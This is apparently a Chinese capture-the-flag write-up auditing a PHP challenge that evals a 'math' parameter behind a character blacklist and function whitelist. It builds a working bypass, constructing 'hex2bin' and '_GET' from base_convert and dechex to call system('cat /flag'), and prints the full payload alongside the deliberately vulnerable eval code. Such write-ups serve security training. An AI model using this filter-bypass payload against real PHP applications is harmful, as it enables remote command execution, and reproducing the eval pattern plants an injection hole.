解题

代码审计

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

如果想得到flag，需要向该页面提交一个c参数，长度不超过80，且限制了很多符号比如常见的空白符号，引号和中括号。同时如果使用函数，函数名必须在白名单中，最终构造好的内容如果通过了限制会被eval执行。很明显，如果要得到flag只靠几个数学函数是没有希望的，需要想办法调用system函数。一种理想的payload是下面这样的：
c=system("cat /flag")

但是如何绕过函数和引号的限制呢？引号其实可以删掉，删掉引号命令还是可以执行。对于函数，可以利用动态函数的性质，即字符串做函数名，加上括号即可被当作函数执行：

c=($_GET[a])($_GET[b])

在上面的例子中，如果a=syetem,b=cat /flag，即可执行system(cat /flag)。

完整的payload如下：
c=($_GET[a])($_GET[b])&a=system&b=cat /flag

由于参数只检查c，所以a和b可以随便操作，接下来问题的关键就是，如何绕过c的检查。

白名单用来检测c中出现的变量名，因此a，b不能出现，但是可以用白名单中的值，比如abs，cos。GET中括号和和GET本身都不能出现，中括号可以用{}替代，因此这道题的核心就是构造_GET。构造如下：
base_convert(37907361743,10,36)(dechex(1598506324))

base_convert(37907361743,10,36)=>"hex2bin"，dechex(1598506324)=>"5f474554",hex2bin("5f474554")=>_GET

payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag